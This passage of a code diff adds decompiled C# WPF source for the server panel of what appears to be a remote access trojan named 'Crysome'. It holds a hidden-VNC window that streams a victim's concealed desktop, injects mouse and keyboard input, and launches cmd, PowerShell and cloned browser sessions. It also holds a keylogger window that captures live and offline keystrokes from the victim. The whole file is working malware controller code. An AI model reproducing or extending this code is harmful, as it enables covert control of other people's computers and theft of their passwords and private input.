private bool _contentLoaded;
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern short GetKeyState(int nVirtKey);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool GetKeyboardState(byte[] lpKeyState);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[] lpKeyState, out uint lpChar, uint uFlags);
|
||||
|
||||
public HvncWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "HVNC — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
IntervalSlider.ValueChanged += delegate
|
||||
{
|
||||
IntervalLabel.Text = (int)IntervalSlider.Value + "ms";
|
||||
};
|
||||
((Window)this).Closed += delegate
|
||||
{
|
||||
DispatcherTimer fpsTimer = _fpsTimer;
|
||||
if (fpsTimer != null)
|
||||
{
|
||||
fpsTimer.Stop();
|
||||
}
|
||||
if (_streaming)
|
||||
{
|
||||
_vm.StopHvnc(_client);
|
||||
}
|
||||
_vm.UnregisterHvncFrames(_client);
|
||||
};
|
||||
}
|
||||
|
||||
private void StartBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
//IL_00d8: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00dd: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00ef: Expected O, but got Unknown
|
||||
_streaming = true;
|
||||
_frameCount = 0;
|
||||
_fpsTickStart = Environment.TickCount64;
|
||||
((UIElement)(object)StartBtn).IsEnabled = false;
|
||||
((UIElement)(object)StopBtn).IsEnabled = true;
|
||||
StatusText.Text = "Streaming hidden desktop. Click on image to control.";
|
||||
HvncImage.Focus();
|
||||
int quality = QualityCombo?.SelectedIndex switch
|
||||
{
|
||||
0 => 100,
|
||||
1 => 90,
|
||||
2 => 75,
|
||||
3 => 50,
|
||||
4 => 25,
|
||||
_ => 10,
|
||||
};
|
||||
int intervalMs = (int)(IntervalSlider?.Value ?? 80.0);
|
||||
_fpsTimer = new DispatcherTimer
|
||||
{
|
||||
Interval = TimeSpan.FromSeconds(1L)
|
||||
};
|
||||
_fpsTimer.Tick += delegate
|
||||
{
|
||||
FpsText.Text = _frameCount + " FPS";
|
||||
_frameCount = 0;
|
||||
};
|
||||
_fpsTimer.Start();
|
||||
_vm.StartHvnc(_client, quality, intervalMs, delegate(byte[] imageData)
|
||||
{
|
||||
if (imageData != null && imageData.Length != 0)
|
||||
{
|
||||
Interlocked.Increment(ref _frameCount);
|
||||
lock (_frameLock)
|
||||
{
|
||||
_latestFrame = imageData;
|
||||
}
|
||||
if (!_updatePending)
|
||||
{
|
||||
_updatePending = true;
|
||||
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)new Action(ApplyLatestFrame), (DispatcherPriority)4, Array.Empty<object>());
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void ApplyLatestFrame()
|
||||
{
|
||||
byte[] latestFrame;
|
||||
lock (_frameLock)
|
||||
{
|
||||
_updatePending = false;
|
||||
latestFrame = _latestFrame;
|
||||
}
|
||||
if (latestFrame == null || latestFrame.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(latestFrame);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
_remoteWidth = bitmapImage.PixelWidth;
|
||||
_remoteHeight = bitmapImage.PixelHeight;
|
||||
HvncImage.Source = bitmapImage;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void StopBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_streaming = false;
|
||||
DispatcherTimer fpsTimer = _fpsTimer;
|
||||
if (fpsTimer != null)
|
||||
{
|
||||
fpsTimer.Stop();
|
||||
}
|
||||
_fpsTimer = null;
|
||||
FpsText.Text = "";
|
||||
_keysDownSent.Clear();
|
||||
_lastSentKeyOrChar = 0;
|
||||
_lastSentTicks = 0;
|
||||
((UIElement)(object)StartBtn).IsEnabled = true;
|
||||
((UIElement)(object)StopBtn).IsEnabled = false;
|
||||
_vm.StopHvnc(_client);
|
||||
_vm.UnregisterHvncFrames(_client);
|
||||
lock (_frameLock)
|
||||
{
|
||||
_latestFrame = null;
|
||||
}
|
||||
HvncImage.Source = null;
|
||||
StatusText.Text = "Stopped.";
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ImageToRemoteCoords(Point p, out int x, out int y)
|
||||
{
|
||||
double actualWidth = HvncImage.ActualWidth;
|
||||
double actualHeight = HvncImage.ActualHeight;
|
||||
if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0)
|
||||
{
|
||||
x = 0;
|
||||
y = 0;
|
||||
return;
|
||||
}
|
||||
double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight);
|
||||
double num2 = (double)_remoteWidth * num;
|
||||
double num3 = (double)_remoteHeight * num;
|
||||
double num4 = (actualWidth - num2) / 2.0;
|
||||
double num5 = (actualHeight - num3) / 2.0;
|
||||
x = (int)((p.X - num4) / num);
|
||||
y = (int)((p.Y - num5) / num);
|
||||
if (x < 0)
|
||||
{
|
||||
x = 0;
|
||||
}
|
||||
if (x >= _remoteWidth)
|
||||
{
|
||||
x = _remoteWidth - 1;
|
||||
}
|
||||
if (y < 0)
|
||||
{
|
||||
y = 0;
|
||||
}
|
||||
if (y >= _remoteHeight)
|
||||
{
|
||||
y = _remoteHeight - 1;
|
||||
}
|
||||
}
|
||||
|
||||
private static int MakeLParam(int x, int y)
|
||||
{
|
||||
return (y << 16) | (x & 0xFFFF);
|
||||
}
|
||||
|
||||
private void HvncImage_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
|
||||
{
|
||||
ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y);
|
||||
_vm.SendHvncInput(_client, 512, 0, MakeLParam(x, y));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void HvncImage_MouseDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
//IL_003b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0040: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0042: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_009d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_009e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0073: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0078: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
HvncImage.Focus();
|
||||
Point position = e.GetPosition(HvncImage);
|
||||
ImageToRemoteCoords(position, out var x, out var y);
|
||||
if (e.ChangedButton == MouseButton.Left)
|
||||
{
|
||||
long tickCount = Environment.TickCount64;
|
||||
if (tickCount - _lastLeftDownTicks < 400)
|
||||
{
|
||||
Vector val = position - _lastLeftDownPos;
|
||||
if (val.Length < 10.0)
|
||||
{
|
||||
_suppressSecondLeftDown = true;
|
||||
return;
|
||||
}
|
||||
}
|
||||
_lastLeftDownTicks = tickCount;
|
||||
_lastLeftDownPos = position;
|
||||
_vm.SendHvncInput(_client, 513, 0, MakeLParam(x, y));
|
||||
}
|
||||
else
|
||||
{
|
||||
_vm.SendHvncInput(_client, 516, 0, MakeLParam(x, y));
|
||||
}
|
||||
}
|
||||
|
||||
private void HvncImage_MouseUp(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y);
|
||||
if (e.ChangedButton == MouseButton.Left)
|
||||
{
|
||||
if (_suppressSecondLeftDown)
|
||||
{
|
||||
_suppressSecondLeftDown = false;
|
||||
_vm.SendHvncInput(_client, 515, 0, MakeLParam(x, y));
|
||||
_vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y));
|
||||
}
|
||||
else
|
||||
{
|
||||
_vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_vm.SendHvncInput(_client, 517, 0, MakeLParam(x, y));
|
||||
}
|
||||
}
|
||||
|
||||
private static int GetModifiedChar(int vk)
|
||||
{
|
||||
GetKeyState(0);
|
||||
byte[] lpKeyState = new byte[256];
|
||||
if (!GetKeyboardState(lpKeyState))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
uint uScanCode = MapVirtualKey((uint)vk, 0u);
|
||||
if (ToAscii((uint)vk, uScanCode, lpKeyState, out var lpChar, 0u) == 1)
|
||||
{
|
||||
return (int)lpChar;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
private static bool IsControlKey(int vk)
|
||||
{
|
||||
if (vk != 8 && vk != 9 && vk != 13 && vk != 27 && vk != 33 && vk != 34 && vk != 35 && vk != 36 && vk != 37 && vk != 38 && vk != 39 && vk != 40 && vk != 45)
|
||||
{
|
||||
return vk == 46;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private void SendKeyToHvnc(KeyEventArgs e, bool isKeyDown)
|
||||
{
|
||||
//IL_0029: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch == null || ((ToggleButton)(object)keyboardControlSwitch).IsChecked != true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
int num = KeyInterop.VirtualKeyFromKey(e.Key);
|
||||
if (num == 16 || num == 20)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (isKeyDown)
|
||||
{
|
||||
_keysDownSent.Add(num);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!_keysDownSent.Remove(num))
|
||||
{
|
||||
return;
|
||||
}
|
||||
int tickCount = Environment.TickCount;
|
||||
if (IsControlKey(num))
|
||||
{
|
||||
if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num)
|
||||
{
|
||||
_lastSentKeyOrChar = num;
|
||||
_lastSentTicks = tickCount;
|
||||
_vm.SendHvncInput(_client, 256, num, 0);
|
||||
_vm.SendHvncInput(_client, 257, num, 0);
|
||||
}
|
||||
return;
|
||||
}
|
||||
int modifiedChar = GetModifiedChar(num);
|
||||
if (modifiedChar >= 32)
|
||||
{
|
||||
if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != modifiedChar + 65536)
|
||||
{
|
||||
_lastSentKeyOrChar = modifiedChar + 65536;
|
||||
_lastSentTicks = tickCount;
|
||||
_vm.SendHvncInput(_client, 258, modifiedChar, 0);
|
||||
}
|
||||
}
|
||||
else if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num)
|
||||
{
|
||||
_lastSentKeyOrChar = num;
|
||||
_lastSentTicks = tickCount;
|
||||
_vm.SendHvncInput(_client, 256, num, 0);
|
||||
_vm.SendHvncInput(_client, 257, num, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void HvncImage_PreviewKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
SendKeyToHvnc(e, isKeyDown: true);
|
||||
}
|
||||
|
||||
private void HvncImage_PreviewKeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
SendKeyToHvnc(e, isKeyDown: false);
|
||||
}
|
||||
|
||||
private void Window_PreviewKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true)
|
||||
{
|
||||
SendKeyToHvnc(e, isKeyDown: true);
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Window_PreviewKeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true)
|
||||
{
|
||||
SendKeyToHvnc(e, isKeyDown: false);
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void RunExplorer_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 0);
|
||||
}
|
||||
|
||||
private void RunRunDialog_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 1);
|
||||
}
|
||||
|
||||
private void RunCmd_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 2);
|
||||
}
|
||||
|
||||
private void RunPowerShell_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 3);
|
||||
}
|
||||
|
||||
private void RunChrome_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 11 : 4));
|
||||
}
|
||||
|
||||
private void RunEdge_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 12 : 5));
|
||||
}
|
||||
|
||||
private void RunFirefox_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 13 : 6));
|
||||
}
|
||||
|
||||
private void RunOpera_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 14 : 7));
|
||||
}
|
||||
|
||||
private void RunOperaGX_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 15 : 8));
|
||||
}
|
||||
|
||||
private void RunBrave_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 16 : 9));
|
||||
}
|
||||
|
||||
private void RunNotepad_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 17);
|
||||
}
|
||||
|
||||
private void RunCalculator_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 18);
|
||||
}
|
||||
|
||||
private void RunDiscord_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 19);
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/hvncwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_00d7: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00e1: Expected O, but got Unknown
|
||||
//IL_00fb: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0105: Expected O, but got Unknown
|
||||
//IL_011f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0129: Expected O, but got Unknown
|
||||
//IL_01fd: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0213: Expected O, but got Unknown
|
||||
//IL_0215: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_022b: Expected O, but got Unknown
|
||||
//IL_022d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0243: Expected O, but got Unknown
|
||||
//IL_0245: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_025b: Expected O, but got Unknown
|
||||
//IL_025d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0273: Expected O, but got Unknown
|
||||
//IL_0275: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_028b: Expected O, but got Unknown
|
||||
//IL_028d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_02a3: Expected O, but got Unknown
|
||||
//IL_02a5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_02bb: Expected O, but got Unknown
|
||||
//IL_02bd: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_02d3: Expected O, but got Unknown
|
||||
//IL_02d5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_02eb: Expected O, but got Unknown
|
||||
//IL_02ed: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0303: Expected O, but got Unknown
|
||||
//IL_0305: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_031b: Expected O, but got Unknown
|
||||
//IL_031d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0333: Expected O, but got Unknown
|
||||
//IL_0336: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0340: Expected O, but got Unknown
|
||||
//IL_0343: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_034d: Expected O, but got Unknown
|
||||
//IL_0350: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_035a: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Grid)target).PreviewKeyDown += Window_PreviewKeyDown;
|
||||
((Grid)target).PreviewKeyUp += Window_PreviewKeyUp;
|
||||
break;
|
||||
case 2:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 3:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 4:
|
||||
StartBtn = (Button)target;
|
||||
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
StopBtn = (Button)target;
|
||||
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
HvncViewbox = (Viewbox)target;
|
||||
break;
|
||||
case 8:
|
||||
HvncImage = (Image)target;
|
||||
HvncImage.MouseMove += HvncImage_MouseMove;
|
||||
HvncImage.MouseLeftButtonDown += HvncImage_MouseDown;
|
||||
HvncImage.MouseLeftButtonUp += HvncImage_MouseUp;
|
||||
HvncImage.MouseRightButtonDown += HvncImage_MouseDown;
|
||||
HvncImage.MouseRightButtonUp += HvncImage_MouseUp;
|
||||
HvncImage.PreviewKeyDown += HvncImage_PreviewKeyDown;
|
||||
HvncImage.PreviewKeyUp += HvncImage_PreviewKeyUp;
|
||||
break;
|
||||
case 9:
|
||||
((ButtonBase)(Button)target).Click += RunExplorer_Click;
|
||||
break;
|
||||
case 10:
|
||||
((ButtonBase)(Button)target).Click += RunRunDialog_Click;
|
||||
break;
|
||||
case 11:
|
||||
((ButtonBase)(Button)target).Click += RunCmd_Click;
|
||||
break;
|
||||
case 12:
|
||||
((ButtonBase)(Button)target).Click += RunPowerShell_Click;
|
||||
break;
|
||||
case 13:
|
||||
((ButtonBase)(Button)target).Click += RunEdge_Click;
|
||||
break;
|
||||
case 14:
|
||||
((ButtonBase)(Button)target).Click += RunChrome_Click;
|
||||
break;
|
||||
case 15:
|
||||
((ButtonBase)(Button)target).Click += RunFirefox_Click;
|
||||
break;
|
||||
case 16:
|
||||
((ButtonBase)(Button)target).Click += RunOpera_Click;
|
||||
break;
|
||||
case 17:
|
||||
((ButtonBase)(Button)target).Click += RunOperaGX_Click;
|
||||
break;
|
||||
case 18:
|
||||
((ButtonBase)(Button)target).Click += RunBrave_Click;
|
||||
break;
|
||||
case 19:
|
||||
((ButtonBase)(Button)target).Click += RunDiscord_Click;
|
||||
break;
|
||||
case 20:
|
||||
((ButtonBase)(Button)target).Click += RunNotepad_Click;
|
||||
break;
|
||||
case 21:
|
||||
((ButtonBase)(Button)target).Click += RunCalculator_Click;
|
||||
break;
|
||||
case 22:
|
||||
CloneControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
case 23:
|
||||
MouseControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
case 24:
|
||||
KeyboardControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
case 25:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
case 26:
|
||||
FpsText = (TextBlock)target;
|
||||
break;
|
||||
case 27:
|
||||
IntervalSlider = (Slider)target;
|
||||
break;
|
||||
case 28:
|
||||
IntervalLabel = (TextBlock)target;
|
||||
break;
|
||||
case 29:
|
||||
QualityCombo = (ComboBox)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class KeyloggerWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private bool _running;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button StartBtn;
|
||||
|
||||
internal Button StopBtn;
|
||||
|
||||
internal Button ClearBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal TextBox LogBox;
|
||||
|
||||
internal Button RequestOfflineBtn;
|
||||
|
||||
internal TextBox OfflineLogBox;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public KeyloggerWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Keylogger — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
((Window)this).Closed += OnWindowClosed;
|
||||
if (!string.IsNullOrEmpty(client?.OfflineKeylogData))
|
||||
{
|
||||
OfflineLogBox.Text = client.OfflineKeylogData;
|
||||
}
|
||||
}
|
||||
|
||||
private void OnWindowClosed(object sender, EventArgs e)
|
||||
{
|
||||
if (_running)
|
||||
{
|
||||
_vm.StopKeylogger(_client);
|
||||
}
|
||||
_vm.UnregisterOfflineKeylogCallback(_client?.Owner);
|
||||
}
|
||||
|
||||
private void StartBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_running = true;
|
||||
((UIElement)(object)StartBtn).IsEnabled = false;
|
||||
((UIElement)(object)StopBtn).IsEnabled = true;
|
||||
StatusText.Text = "Capturing keystrokes...";
|
||||
LogBox.Clear();
|
||||
_vm.StartKeylogger(_client, AppendLog);
|
||||
_vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog);
|
||||
}
|
||||
|
||||
private void StopBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_running = false;
|
||||
((UIElement)(object)StartBtn).IsEnabled = true;
|
||||
((UIElement)(object)StopBtn).IsEnabled = false;
|
||||
StatusText.Text = "Stopped.";
|
||||
_vm.StopKeylogger(_client);
|
||||
}
|
||||
|
||||
private void ClearBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
LogBox.Clear();
|
||||
OfflineLogBox.Clear();
|
||||
}
|
||||
|
||||
private void OfflineTab_Selected(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (string.IsNullOrEmpty(OfflineLogBox.Text) && !string.IsNullOrEmpty(_client?.OfflineKeylogData))
|
||||
{
|
||||
OfflineLogBox.Text = _client.OfflineKeylogData;
|
||||
}
|
||||
_vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog);
|
||||
}
|
||||
|
||||
private void TabControl_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
||||
{
|
||||
if (sender is TabControl { SelectedIndex: 1 })
|
||||
{
|
||||
OfflineTab_Selected(sender, null);
|
||||
}
|
||||
}
|
||||
|
||||
private void RequestOfflineBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
OfflineLogBox.AppendText("\n[Offline data request triggered — awaiting upload from client...]\n");
|
||||
OfflineLogBox.ScrollToEnd();
|
||||
StatusText.Text = "Offline data will arrive automatically on next reconnect.";
|
||||
}
|
||||
|
||||
private void AppendLog(string data)
|
||||
{
|
||||
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
||||
{
|
||||
LogBox.AppendText(data);
|
||||
LogBox.ScrollToEnd();
|
||||
}, Array.Empty<object>());
|
||||
}
|
||||
|
||||
private void AppendOfflineLog(string data, bool isOffline)
|
||||
{
|
||||
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
||||
{
|
||||
OfflineLogBox.AppendText(data);
|
||||
OfflineLogBox.ScrollToEnd();
|
||||
}, Array.Empty<object>());
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/keyloggerwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0060: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006a: Expected O, but got Unknown
|
||||
